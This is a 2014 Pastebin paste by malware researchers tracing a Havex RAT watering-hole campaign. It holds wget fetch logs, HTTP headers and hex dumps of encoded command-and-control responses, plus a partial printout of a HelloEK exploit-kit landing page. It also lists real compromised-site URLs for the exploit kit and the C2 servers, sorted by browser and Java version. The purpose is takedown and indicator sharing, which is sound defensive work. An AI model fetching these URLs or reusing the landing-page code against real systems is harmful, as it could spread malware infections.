SHARE
TWEET

"Wattering" RAT HAVEX INFECTION VERDICT

MalwareMustDie Mar 10th, 2014 7,503 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // #MalwareMustDie! @unixfreaxjp
  2. // Is a day off today, I gotta go, so is a half way work,
  3. // To do TASK to our "crusaders":
  4. // 1. Takedown all of the url stated below
  5. // 2. Continue to PoC the payload fetch, the exploit urls are all extracted clearly now.
  6. // Base on report from Gi0vann1 @Sug4r:)) (with thx & #w00t!): http://pastebin.com/2x1JinJd
  7. // also thx to @shibumi for the comm! thx also to @node5 for recognizing LightsOut/Hello EK
  8. // thx for the Set's database to compare the HelloEK's details.
  9.  
  10. /* The malware is Havex Rat, Bad stuff.  ref: http://www.businessinsider.com/countries-targeted-by-russia-hack-2014-1
  11. suspecting is watering scheme for wide range of hits.. */
  12.  
  13.  
  14. // Exploitation Verdict Analysis
  15.  
  16. EK:
  17.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php // Landing page EK
  18.    
  19.     EK Details (HelloEK):
  20.      // Infection Checker:
  21.      h00p://mahsms.ir/wp-includes/pomo/dtsrc.php
  22.  
  23.      // Landing Page PD
  24.      h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h1&f=51d0f9f5d6d2c5ff3ade4b38bb7c1ceb&u=Mozilla%2F5.0%20(Windows%3B%20U%3B%20MSIE%207.0%3B%20Windows%20NT%205.2)%20Java%2F1.5.0_08
  25.  
  26.      // Exploit:
  27.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h2 Non IE Java <= 1.7.17
  28.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h3 IE 7 Java <= 1.7.17
  29.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h4 IE 6 Win < 6
  30.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h5 IE 7 Win/NT < 6 Java <= 1.7.17
  31.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h6 IE 8 Win < 6
  32.     h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h7 Non IE Java <= 1.6.32
  33.  
  34. // HAVEX CNC CHECKED:
  35.     h00p://pekanin.freevar.com/include/template/isx.php   // (null)
  36.     h00p://simpsons.freesexycomics.com/wp06/wp-includes/po.php // (encoded CNC hexcode)
  37.     h00p://toons.freesexycomics.com/wp08/wp-includes/dtcla.php // (encoded CNC hexcode)
  38.     h00p://www.pc-service-fm.de/modules/mod_search/src.php // <!--havexhavex-->
  39.     h00p://artem.sataev.com/blog/wp-includes/pomo/src.php // 404
  40.     h00p://swissitaly.com/includes/phpmailer/class.pop3.php // 404
  41.  
  42. // Chapter:
  43. // Follow up details
  44. // Exploit Kit part
  45. //
  46. // =================
  47. // Follow up details:
  48. // =================
  49.  
  50. // FIRST URL ONLY...
  51.  
  52. --- fetch header ----
  53. Date: 2014-03-11 09:25:15
  54. URL: http://pekanin.freevar.com/include/template/isx.php
  55. Resolving pekanin.freevar.com (pekanin.freevar.com)... 5.9.82.27
  56. Caching pekanin.freevar.com => 5.9.82.27
  57. Connecting to pekanin.freevar.com (pekanin.freevar.com)|5.9.82.27|:80... connected.
  58.  
  59. ---request begin---
  60. GET /include/template/isx.php HTTP/1.1
  61. Referer: http://www.google.com
  62. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  63. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  64. Host: pekanin.freevar.com
  65. Connection: Keep-Alive
  66. Accept-Language: en-us,en;q=0.5
  67. Accept-Encoding: gzip,deflate
  68. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  69. Keep-Alive: 300
  70. HTTP request sent, awaiting response...
  71.  
  72. ---response begin---
  73. HTTP/1.1 200 OK
  74. Date: Tue, 11 Mar 2014 00:25:16 GMT
  75. Server: Apache
  76. X-Powered-By: PHP/5.4.17
  77. Cache-Control: no-cache
  78. Keep-Alive: timeout=1, max=10000
  79. Connection: Keep-Alive
  80. Transfer-Encoding: chunked
  81. Content-Type: text/html
  82. Saving to: 'isx.php'
  83. 2014-03-11 09:25:17 (5.27 MB/s) - 'isx.php' saved [723]
  84.  
  85.  
  86. $ date
  87. Tue Mar 11 09:29:14 JST 2014
  88. $
  89. $ cat isx.php
  90. <html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>No data!<!--havexhavex-->
  91. <!-- Free Web Hosting Area Start -->
  92. <script type="text/javascript" src="http://user99.freewebhostingarea.com/a/gfreeh.js"></script>
  93. <script type="text/javascript" src="http://user99.freewebhostingarea.com/a/in300.js"></script>
  94. <script type="text/javascript" src="http://user99.freewebhostingarea.com/a/specoff.js"></script>
  95. <noscript><br><center><font color='#000000' face='Verdana' style='font-size: 11px; background-color:#FFFFFF'><a target='_blank' href='http://www.freewebhostingarea.com'><font color='#000000'>Free Web Hosting</font></a></font></center></noscript>
  96. <!-- Free Web Hosting Area End -->
  97. </body></head>$
  98.  
  99. $ date
  100. Tue Mar 11 09:29:46 JST 2014
  101. $ wget -nv http://user99.freewebhostingarea.com/a/gfreeh.js
  102. 2014-03-11 09:29:56 URL:http://user99.freewebhostingarea.com/a/gfreeh.js [935/935] -> "gfreeh.js" [1]
  103. $ wget -nv http://user99.freewebhostingarea.com/a/in300.js
  104. 2014-03-11 09:30:15 URL:http://user99.freewebhostingarea.com/a/in300.js [935/935] -> "in300.js" [1]
  105. $ wget -nv http://user99.freewebhostingarea.com/a/specoff.js
  106. 2014-03-11 09:30:33 URL:http://user99.freewebhostingarea.com/a/specoff.js [935/935] -> "specoff.js" [1]
  107. $
  108. $ date
  109. Tue Mar 11 09:30:38 JST 2014
  110. $
  111.  
  112. $ cat gfreeh.js
  113. var m3_u = (location.protocol=='https:'?'https://user99.freewebhostingarea.com/po/www/delivery/ajs.php':'http://user99.freewebhostingarea.com/po/www/delivery/ajs.php');
  114. var m3_r = Math.floor(Math.random()*99999999999);
  115. if (!document.MAX_used) document.MAX_used = ',';
  116. document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
  117. document.write ("?zoneid=3");
  118. document.write ('&amp;cb=' + m3_r);
  119. if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used);
  120. document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : ''));
  121. document.write ("&amp;loc=" + escape(window.location));
  122. if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer));
  123. if (document.context) document.write ("&context=" + escape(document.context));
  124. if (document.mmm_fo) document.write ("&amp;mmm_fo=1");
  125. document.write ("'><\/scr"+"ipt>");
  126. $
  127. $
  128. $
  129. $ cat in300.js
  130. var m3_u = (location.protocol=='https:'?'https://user99.freewebhostingarea.com/po/www/delivery/ajs.php':'http://user99.freewebhostingarea.com/po/www/delivery/ajs.php');
  131. var m3_r = Math.floor(Math.random()*99999999999);
  132. if (!document.MAX_used) document.MAX_used = ',';
  133. document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
  134. document.write ("?zoneid=12");
  135. document.write ('&amp;cb=' + m3_r);
  136. if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used);
  137. document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : ''));
  138. document.write ("&amp;loc=" + escape(window.location));
  139. if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer));
  140. if (document.context) document.write ("&context=" + escape(document.context));
  141. if (document.mmm_fo) document.write ("&amp;mmm_fo=1");
  142. document.write ("'><\/scr"+"ipt>");$
  143. $
  144. $
  145. $
  146. $ cat specoff.js
  147. var m3_u = (location.protocol=='https:'?'https://user99.freewebhostingarea.com/po/www/delivery/ajs.php':'http://user99.freewebhostingarea.com/po/www/delivery/ajs.php');
  148. var m3_r = Math.floor(Math.random()*99999999999);
  149. if (!document.MAX_used) document.MAX_used = ',';
  150. document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
  151. document.write ("?zoneid=10");
  152. document.write ('&amp;cb=' + m3_r);
  153. if (document.MAX_used != ',') document.write ("&amp;exclude=" + document.MAX_used);
  154. document.write (document.charset ? '&amp;charset='+document.charset : (document.characterSet ? '&amp;charset='+document.characterSet : ''));
  155. document.write ("&amp;loc=" + escape(window.location));
  156. if (document.referrer) document.write ("&amp;referer=" + escape(document.referrer));
  157. if (document.context) document.write ("&context=" + escape(document.context));
  158. if (document.mmm_fo) document.write ("&amp;mmm_fo=1");
  159. document.write ("'><\/scr"+"ipt>");$
  160. $
  161.  
  162.  
  163. // Target
  164.  
  165. -- Fetch header --
  166. Date: 2014-03-11 09:37:24  
  167. URL: http://user99.freewebhostingarea.com/po/www/delivery/ajs.php
  168. Resolving user99.freewebhostingarea.com (user99.freewebhostingarea.com)... 64.31.54.149
  169. Caching user99.freewebhostingarea.com => 64.31.54.149
  170. Connecting to user99.freewebhostingarea.com (user99.freewebhostingarea.com)|64.31.54.149|:80... connected.
  171.  
  172. ---request begin---
  173. GET /po/www/delivery/ajs.php HTTP/1.1
  174. Referer: http://www.google.com
  175. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  176. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  177. Host: user99.freewebhostingarea.com
  178. Connection: Keep-Alive
  179. Accept-Language: en-us,en;q=0.5
  180. Accept-Encoding: gzip,deflate
  181. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  182. Keep-Alive: 300
  183. HTTP request sent, awaiting response...
  184.  
  185. ---response begin---
  186. HTTP/1.1 200 OK
  187. Date: Tue, 11 Mar 2014 00:37:25 GMT
  188. Server: Apache
  189. X-Powered-By: PHP/5.3.27
  190. Pragma: no-cache
  191. Cache-Control: private, max-age=0, no-cache
  192. Expires: Mon, 26 Jul 1997 05:00:00 GMT
  193. P3P: CP="CUR ADM OUR NOR STA NID"
  194. Set-Cookie: OAGEO=JP%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C; path=/
  195. Set-Cookie: OAID=cb77d5dfd349d4c0a5c28a208693a25d; expires=Wed, 11-Mar-2015 00:37:25 GMT; path=/
  196. Content-Length: 52
  197. Keep-Alive: timeout=1, max=10000
  198. Connection: Keep-Alive
  199. Content-Type: text/javascript; charset=UTF-8
  200. 200 OK
  201. Stored cookie user99.freewebhostingarea.com -1 (ANY) / <session> <insecure> [expiry none] OAGEO JP%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C
  202. Stored cookie user99.freewebhostingarea.com -1 (ANY) / <permanent> <insecure> [expiry 2015-03-11 09:37:25] OAID cb77d5dfd349d4c0a5c28a208693a25d
  203. URI content encoding = 'UTF-8'
  204. Length: 52 [text/javascript]
  205. Saving to: 'ajs.php'
  206. 2014-03-11 09:37:25 (1.01 MB/s) - 'ajs.php' saved [52/52]
  207.  
  208.  
  209. // Details:
  210.  
  211. $
  212. $ date
  213. Tue Mar 11 09:40:22 JST 2014
  214. $
  215. $ cat ajs.php
  216. var OX_031eb7b0 = '';
  217.  
  218. document.write(OX_031eb7b0);
  219. $
  220.  
  221. // This should lead to a (new) null CVE??? #lol :-)
  222.  
  223.  
  224. // SECOND URL ONLY..
  225.  
  226.  
  227. -- Fetch Header --  
  228. Date: 2014-03-11 09:44:26
  229. URL: http://simpsons.freesexycomics.com/wp06/wp-includes/po.php
  230. Resolving simpsons.freesexycomics.com (simpsons.freesexycomics.com)... 198.63.208.206
  231. Caching simpsons.freesexycomics.com => 198.63.208.206
  232. Connecting to simpsons.freesexycomics.com (simpsons.freesexycomics.com)|198.63.208.206|:80... connected.
  233.  
  234. ---request begin---
  235. GET /wp06/wp-includes/po.php HTTP/1.1
  236. Referer: http://www.google.com
  237. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  238. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  239. Host: simpsons.freesexycomics.com
  240. Connection: Keep-Alive
  241. Accept-Language: en-us,en;q=0.5
  242. Accept-Encoding: gzip,deflate
  243. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  244. Keep-Alive: 300
  245. HTTP request sent, awaiting response...
  246.  
  247. ---response begin---
  248. HTTP/1.1 200 OK
  249. Date: Tue, 11 Mar 2014 00:44:26 GMT
  250. Content-Type: text/html
  251. Transfer-Encoding: chunked
  252. Connection: keep-alive
  253. Server: Apache/1.3.37 (Unix)
  254. Cache-Control: no-cache
  255. Content-Encoding: gzip
  256. 200 OK
  257. Saving to: 'po.php'
  258. 2014-03-11 09:44:27 (468 KB/s) - 'po.php' saved [147]
  259.  
  260.  
  261.  
  262. // insides..
  263.  
  264.  
  265. $ date
  266. Tue Mar 11 09:45:49 JST 2014
  267. $
  268. $$
  269. $ less po.php
  270. "po.php" may be a binary file.  See it anyway?
  271. ^_<8B>^H^@^@^@^@^@^@^C%<CE>A
  272. <C2>0^P^E<D0><AB><8C><AB>l^\<BD>@^Z<90> <B8><90>^F<D4>^KD34^E<9B><B4><D3>i1<B7>7<D6><CD>l<FE><FF><8F><D1>Q<86><B7><D1><91>|0z<A0><CE>C^T^Y<91><A6><A5>_ESCeO
  273. <F6>rF<EB><DA><C7><CD>]^U<BC>r^RJ<D2><A8><D6><E1>^V)<A3><8F><FF><E9>3<87>b<EE><99><B9><EC>!^|<AD>3<D3><<E6>^T<FA><D4>A<C9>^K^CW<98>f9<E8>^]b<F4>+}<B6><83>X
  274. <9D>M<A8><DC><EF><9F>/<83>m!<C8><96>^@^@^@
  275. $
  276. $
  277. $ bincat po.php
  278. 0000   1F 8B 08 00 00 00 00 00 00 03 25 CE 41 0A C2 30    ..........%.A..0
  279. 0010   10 05 D0 AB 8C AB 6C 1C BD 40 1A 90 20 B8 90 06    ......l..@.. ...
  280. 0020   D4 0B 44 33 34 05 9B B4 D3 69 31 B7 37 D6 CD 6C    ..D34....i1.7..l
  281. 0030   FE FF 8F D1 51 86 B7 D1 91 7C 30 7A A0 CE 43 14    ....Q....|0z..C.
  282. 0040   19 91 A6 A5 5F 1B 65 4F F6 72 46 EB DA C7 CD 5D    ...._.eO.rF....]
  283. 0050   15 BC 72 12 4A D2 A8 D6 E1 16 29 A3 8F FF E9 33    ..r.J.....)....3
  284. 0060   87 62 EE 99 B9 EC 21 65 08 5E 7C AD 33 D3 3C E6    .b....!e.^|.3.<.
  285. 0070   14 FA D4 41 C9 0B 03 57 98 66 39 E8 1D 62 F4 2B    ...A...W.f9..b.+
  286. 0080   7D B6 83 58 9D 4D A8 DC EF 9F 2F 83 6D 21 C8 96    }..X.M..../.m!..
  287. 0090   00 00 00                                           ...
  288.  
  289.  
  290. // encoded globs. No sample, can not do much yet, hang on...
  291.  
  292. // THIRD URL..
  293.  
  294. http://toons.freesexycomics.com/wp08/wp-includes/dtcla.php
  295.  
  296.  
  297. $ date
  298. Tue Mar 11 09:51:55 JST 2014
  299. $
  300. ---Fetch header---
  301. Date: 2014-03-11 09:52:11
  302. URL: http://toons.freesexycomics.com/wp08/wp-includes/dtcla.php
  303. Resolving toons.freesexycomics.com (toons.freesexycomics.com)... 198.63.208.206
  304. Caching toons.freesexycomics.com => 198.63.208.206
  305. Connecting to toons.freesexycomics.com (toons.freesexycomics.com)|198.63.208.206|:80... connected.
  306.  
  307. ---request begin---
  308. GET /wp08/wp-includes/dtcla.php HTTP/1.1
  309. Referer: http://www.google.com
  310. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  311. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  312. Host: toons.freesexycomics.com
  313. Connection: Keep-Alive
  314. Accept-Language: en-us,en;q=0.5
  315. Accept-Encoding: gzip,deflate
  316. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  317. Keep-Alive: 300
  318. HTTP request sent, awaiting response...
  319.  
  320. ---response begin---
  321. HTTP/1.1 200 OK
  322. Date: Tue, 11 Mar 2014 00:52:12 GMT
  323. Content-Type: text/html
  324. Transfer-Encoding: chunked
  325. Connection: keep-alive
  326. Server: Apache/1.3.37 (Unix)
  327. Cache-Control: no-cache
  328. Content-Encoding: gzip
  329. 200 OK
  330. Length: unspecified [text/html]
  331. Saving to: 'dtcla.php'
  332. 2014-03-11 09:52:12 (470 KB/s) - 'dtcla.php' saved [147]
  333.  
  334.  
  335. $ date
  336. Tue Mar 11 09:54:14 JST 2014
  337. $ less dtcla.php
  338. "dtcla.php" may be a binary file.  See it anyway?
  339. ^_<8B>^H^@^@^@^@^@^@^C%<CE>A
  340. <C2>0^P^E<D0><AB><8C><AB>l^\<BD>@^Z<90> <B8><90>^F<D4>^KD34^E<9B><B4><D3>i1<B7>7<D6><CD>l<FE><FF><8F><D1>Q<86><B7><D1><91>|0z<A0><CE>C^T^Y<91><A6><A5>_ESCeO
  341. <F6>rF<EB><DA><C7><CD>]^U<BC>r^RJ<D2><A8><D6><E1>^V)<A3><8F><FF><E9>3<87>b<EE><99><B9><EC>!^|<AD>3<D3><<E6>^T<FA><D4>A<C9>^K^CW<98>f9<E8>^]b<F4>+}<B6><83>X
  342. <9D>M<A8><DC><EF><9F>/<83>m!<C8><96>^@^@^@
  343. $
  344. $ bincat dtcla.php
  345. 0000   1F 8B 08 00 00 00 00 00 00 03 25 CE 41 0A C2 30    ..........%.A..0
  346. 0010   10 05 D0 AB 8C AB 6C 1C BD 40 1A 90 20 B8 90 06    ......l..@.. ...
  347. 0020   D4 0B 44 33 34 05 9B B4 D3 69 31 B7 37 D6 CD 6C    ..D34....i1.7..l
  348. 0030   FE FF 8F D1 51 86 B7 D1 91 7C 30 7A A0 CE 43 14    ....Q....|0z..C.
  349. 0040   19 91 A6 A5 5F 1B 65 4F F6 72 46 EB DA C7 CD 5D    ...._.eO.rF....]
  350. 0050   15 BC 72 12 4A D2 A8 D6 E1 16 29 A3 8F FF E9 33    ..r.J.....)....3
  351. 0060   87 62 EE 99 B9 EC 21 65 08 5E 7C AD 33 D3 3C E6    .b....!e.^|.3.<.
  352. 0070   14 FA D4 41 C9 0B 03 57 98 66 39 E8 1D 62 F4 2B    ...A...W.f9..b.+
  353. 0080   7D B6 83 58 9D 4D A8 DC EF 9F 2F 83 6D 21 C8 96    }..X.M..../.m!..
  354. 0090   00 00 00                                           ...
  355.  
  356. // Exactly same CVE as previous one..
  357.  
  358. $ date
  359. Tue Mar 11 09:56:11 JST 2014
  360. $
  361. $ vt check dtcla.php |less
  362. -----------------------------------------------------------
  363. VT-shell 1.1 FreeBSD version - by @unixfreaxjp
  364. Usage is: /usr/local/bin/vt COMMAND(check | scan) and PATH(a correct full-path-to-sample)
  365. -----------------------------------------------------------
  366. Sample : dtcla.php
  367. MD5    : 2d43b8539ee3aff06feab586191dc2a1
  368. SHA256 : 37dedc60b1fbdf89160c7cb9258f87162725103fecf8b4b1d6b538ae7e4ec7fe
  369. URL    : https://www.virustotal.com/latest-scan/37dedc60b1fbdf89160c7cb9258f87162725103fecf8b4b1d6b538ae7e4ec7fe
  370. -----------------------------------------------------------
  371.    VirusTotal
  372.  
  373. File not found
  374.  
  375. $
  376. $
  377. // I feel weird...Uploading this now..
  378. // uploaded this to the VT here:
  379. // https://www.virustotal.com/en/file/37dedc60b1fbdf89160c7cb9258f87162725103fecf8b4b1d6b538ae7e4ec7fe/analysis/1394499588/
  380.  
  381.  
  382.  
  383. // FORTH URL:
  384.  
  385. http://www.pc-service-fm.de/modules/mod_search/src.php
  386.  
  387. $ date
  388. Tue Mar 11 10:08:23 JST 2014
  389. $
  390. -- Fetch header ---
  391. Date: 2014-03-11 10:08:38
  392. URL: http://www.pc-service-fm.de/modules/mod_search/src.php
  393. Resolving www.pc-service-fm.de (www.pc-service-fm.de)... 81.169.145.163
  394. Caching www.pc-service-fm.de => 81.169.145.163
  395. Connecting to www.pc-service-fm.de (www.pc-service-fm.de)|81.169.145.163|:80... connected.
  396.  
  397. ---request begin---
  398. GET /modules/mod_search/src.php HTTP/1.1
  399. Referer: http://www.google.com
  400. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  401. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  402. Host: www.pc-service-fm.de
  403. Connection: Keep-Alive
  404. Accept-Language: en-us,en;q=0.5
  405. Accept-Encoding: gzip,deflate
  406. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  407. Keep-Alive: 300
  408. HTTP request sent, awaiting response...
  409.  
  410. ---response begin---
  411. HTTP/1.1 200 OK
  412. Date: Tue, 11 Mar 2014 01:08:44 GMT
  413. Server: Apache/2.2.26 (Unix)
  414. X-Powered-By: PHP/5.3.28
  415. Cache-Control: no-cache
  416. Keep-Alive: timeout=3, max=100
  417. Connection: Keep-Alive
  418. Transfer-Encoding: chunked
  419. Content-Type: text/html
  420. 200 OK
  421. Length: unspecified [text/html]
  422. Saving to: 'src.php'
  423. 2014-03-11 10:08:45 (1.23 MB/s) - 'src.php' saved [150]
  424.  
  425.  
  426. $ date
  427. Tue Mar 11 10:10:25 JST 2014
  428. $
  429. $ cat src.php
  430. <html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'></head><body>Sorry, no data corresponding your request.<!--havexhavex--></body></html>$
  431. $
  432. // WE GOT THE VERDICT..
  433. //this is a positive PoC of HAVEX-RAT CNC
  434.  
  435. // FIFTH URL..
  436.  
  437. http://artem.sataev.com/blog/wp-includes/pomo/src.php
  438. 2014-03-11 10:16:15 ERROR 404: Not Found.
  439.  
  440.  
  441. // SIXTH URL:
  442.  
  443. http://swissitaly.com/includes/phpmailer/class.pop3.php
  444. 2014-03-11 10:19:59 ERROR 404: Not Found.
  445.  
  446.  
  447. // ==============================
  448. // JOURNEY TO THE EXPLOIT KIT...
  449. // Say hello to series of jars via
  450. // Old friend PluginDetect.
  451. // ==============================
  452.  
  453. // SEVENTH URL..
  454.  
  455. http://mahsms.ir/wp-includes/pomo/dtsrc.php
  456.  
  457. // THis is a kind of ticket to the landing page...
  458. // We'll see...
  459.  
  460.  
  461. -- Fetch header --
  462. Date: 2014-03-11 10:22:04--  
  463. URL: http://mahsms.ir/wp-includes/pomo/dtsrc.php
  464. Resolving mahsms.ir (mahsms.ir)... 176.9.92.69
  465. Caching mahsms.ir => 176.9.92.69
  466. Connecting to mahsms.ir (mahsms.ir)|176.9.92.69|:80... connected.
  467.  
  468. ---request begin---
  469. GET /wp-includes/pomo/dtsrc.php HTTP/1.1
  470. Referer: http://www.google.com
  471. User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2) Java/1.5.0_08
  472. Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
  473. Host: mahsms.ir
  474. Connection: Keep-Alive
  475. Accept-Language: en-us,en;q=0.5
  476. Accept-Encoding: gzip,deflate
  477. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  478. Keep-Alive: 300
  479. HTTP request sent, awaiting response...
  480.  
  481. ---response begin---
  482. HTTP/1.1 200 OK
  483. Content-Encoding: gzip
  484. Vary: Accept-Encoding
  485. Date: Tue, 11 Mar 2014 01:22:06 GMT
  486. Server: LiteSpeed
  487. Connection: close
  488. X-Powered-By: PHP/5.2.17
  489. Content-Type: text/html
  490. Content-Length: 8115
  491. 200 OK
  492. Length: 8115 (7.9K) [text/html]
  493. Saving to: 'dtsrc.php'
  494. 2014-03-11 10:22:06 (3.37 MB/s) - 'dtsrc.php' saved [8115/8115]
  495.  
  496.  
  497. $
  498. $ date && less dtsrc.php
  499. Tue Mar 11 10:24:00 JST 2014
  500. "dtsrc.php" may be a binary file.  See it anyway?
  501. ^_<8B>^H^@^@^@^@^@^D^C<95>\<FD>rESC<B9><91><FF>^?<AB>
  502. [...]
  503. <F1><87>W<F2>^V&<C0><BE><98><FF><89><B5>^_<FF>^O<8F>\F~<8C>M^@^@
  504. $
  505. $ bincat dtsrc.php
  506. 0000   1F 8B 08 00 00 00 00 00 04 03 95 5C FD 72 1B B9    .............r..
  507. 0010   91 FF 7F AB F6 1D E6 54 75 2B EA 6C C9 1C 7E 73    .......Tu+.l..~s
  508. 0020   B3 DE 94 44 7D DA 92 AC 13 29 3B 1B 67 73 05 92    ...D}....);.gs..
  509. 0030   20 39 E6 70 86 3B 1F 12 E9 75 F2 06 F7 20 79 81     9.p.;...u... y.
  510. 0040   7B 81 D4 BD D7 FD BA 1B C0 0C 29 AE 37 A7 4A 96    {.........).7.J.
  511. 0050   00 A6 D1 D3 68 F4 37 30 FE 61 96 2D 42 6F B5 08    ....h.70.a.-Bo..
  512.    [...]
  513. 1F20   A7 94 06 3E 46 DD 55 D1 57 47 F6 AB 15 42 ED 95    ...>F.U.WG...B..
  514. 1F30   D5 E8 37 10 57 F6 68 22 6C 89 9D E8 88 FA E1 55    ..7.W.h"l......U
  515. 1F40   CA 59 18 FD 33 66 AF 66 E6 DF 33 A3 2F DE 68 E0    .Y..3f.f..3./.h.
  516. 1F50   DD C9 9B B3 DE C0 0B C6 AF 4B DF BB 78 BD EB E3    .........K..x...
  517. 1F60   7E FF EA F4 F5 DE 08 17 6F C6 DF E3 DF 8A A9 4E    ~.......o......N
  518. 1F70   F0 EF 81 1D 76 3B C3 E6 A1 EF 8F 26 87 C3 61 A7    ....v;.....&..a.
  519. 1F80   76 58 AD 2A 55 AD 0E C7 23 5D 1D EE 79 2C C9 AF    vX.*U...#]..y,..
  520. 1F90   F7 AA CB D5 1E BE 33 A5 6B 29 D2 F9 F1 87 57 F2    ......3.k)....W.
  521. 1FA0   16 26 C0 BE 98 FF 89 B5 1F FF 0F 8F 5C 46 7E 8C    .&...........F~.
  522. 1FB0   4D 00 00                                           M..
  523.  
  524. // Seeing the bits is the gunzip format. Unwrapped and see it..
  525.  
  526. $ date
  527. Tue Mar 11 10:33:27 JST 2014
  528. $
  529. $ cp dtsrc.php dtsrc.gz
  530. $ gunzip dtsrc.gz
  531. $
  532. $ ls dtsrc*
  533. dtsrc   dtsrc.php
  534. $
  535. $ bincat dtsrc
  536. 0000   3C 68 74 6D 6C 20 78 6D 6C 6E 73 3D 22 68 74 74    <html xmlns="htt
  537. 0010   70 3A 2F 2F 77 77 77 2E 77 33 2E 6F 72 67 2F 31    p://www.w3.org/1
  538. 0020   39 39 39 2F 68 74 6D 6C 22 3E 0D 0A 3C 68 65 61    999/html">..<hea
  539. 0030   64 3E 0D 0A 3C 73 63 72 69 70 74 20 74 79 70 65    d>..<script type
  540. 0040   3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70    ="text/javascrip
  541. 0050   74 22 3E 0D 0A 66 75 6E 63 74 69 6F 6E 20 6D 64    t">..function md
  542. 0060   35 63 79 63 6C 65 28 78 2C 20 6B 29 20 7B 0D 0A    5cycle(x, k) {..
  543. [..]
  544.  
  545. // in text... Just another redirector boobytraps...a ticket..
  546. // w/ CVE-2013-2882.. the fuzzy in font-names..
  547.  
  548. <html xmlns="http://www.w3.org/1999/html">
  549. <head>
  550. <script type="text/javascript">
  551. function md5cycle(x, k) {
  552.     var a = x[0], b = x[1], c = x[2], d = x[3];
  553.  
  554.     a = ff(a, b, c, d, k[0], 7, -680876936);
  555.     d = ff(d, a, b, c, k[1], 12, -389564586);
  556.     c = ff(c, d, a, b, k[2], 17, 606105819);
  557.     b = ff(b, c, d, a, k[3], 22, -1044525330);
  558.     a = ff(a, b, c, d, k[4], 7, -176418897);
  559.     d = ff(d, a, b, c, k[5], 12, 1200080426);
  560.     c = ff(c, d, a, b, k[6], 17, -1473231341);
  561.     b = ff(b, c, d, a, k[7], 22, -45705983);
  562.     a = ff(a, b, c, d, k[8], 7, 1770035416);
  563.     d = ff(d, a, b, c, k[9], 12, -1958414417);
  564.     c = ff(c, d, a, b, k[10], 17, -42063);
  565.     b = ff(b, c, d, a, k[11], 22, -1990404162);
  566.     a = ff(a, b, c, d, k[12], 7, 1804603682);
  567.     d = ff(d, a, b, c, k[13], 12, -40341101);
  568.     c = ff(c, d, a, b, k[14], 17, -1502002290);
  569.     b = ff(b, c, d, a, k[15], 22, 1236535329);
  570.  
  571.     a = gg(a, b, c, d, k[1], 5, -165796510);
  572.     d = gg(d, a, b, c, k[6], 9, -1069501632);
  573.     c = gg(c, d, a, b, k[11], 14, 643717713);
  574.     b = gg(b, c, d, a, k[0], 20, -373897302);
  575.     a = gg(a, b, c, d, k[5], 5, -701558691);
  576.     d = gg(d, a, b, c, k[10], 9, 38016083);
  577.     c = gg(c, d, a, b, k[15], 14, -660478335);
  578.     b = gg(b, c, d, a, k[4], 20, -405537848);
  579.     a = gg(a, b, c, d, k[9], 5, 568446438);
  580.     d = gg(d, a, b, c, k[14], 9, -1019803690);
  581.     c = gg(c, d, a, b, k[3], 14, -187363961);
  582.     b = gg(b, c, d, a, k[8], 20, 1163531501);
  583.     a = gg(a, b, c, d, k[13], 5, -1444681467);
  584.     d = gg(d, a, b, c, k[2], 9, -51403784);
  585.     c = gg(c, d, a, b, k[7], 14, 1735328473);
  586.     b = gg(b, c, d, a, k[12], 20, -1926607734);
  587.  
  588.     a = hh(a, b, c, d, k[5], 4, -378558);
  589.     d = hh(d, a, b, c, k[8], 11, -2022574463);
  590.     c = hh(c, d, a, b, k[11], 16, 1839030562);
